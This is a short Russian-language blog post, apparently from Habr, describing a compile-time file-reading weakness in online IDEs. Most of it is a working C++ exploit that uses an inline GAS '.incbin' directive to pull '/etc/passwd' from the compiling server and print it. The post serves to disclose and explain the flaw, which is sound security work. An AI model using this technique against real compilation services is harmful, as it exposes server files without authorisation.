Как стать автором
Обновить

Online IDE и Local File Inclusion

Время на прочтение1 мин
Количество просмотров5.9K
В последнее время появилось множество online IDE с возможностью компиляции и запуска в том числе и native-приложений. Естественно, возникает вопрос о безопасности таких сервисов. Скомпилированные программы запускаются в песочнице, а вот сама компиляция зачастую происходит в незащищенной среде.

GCC + GAS

GCC позволяет с помощью директивы asm вызывать GAS, у которого есть замечательная инструкция incbin. С ее помощью на этапе компиляции можно включить файл в качестве данных. Тогда exploit для С++ выглядит следующим образом:

#include <stdio.h>

extern "C"

asm(
     ".global _data\n"
     ".data\n"
     "_data:\n"
     ".incbin \"/etc/passwd\"\n"
     ".byte 0"
);

extern const char _data;
const char* data = &_data;

int main() {
    printf("%s", data);
}
Теги:
Хабы:
Всего голосов 27: ↑21 и ↓6+15
Комментарии4

Публикации

Истории

Работа

Ближайшие события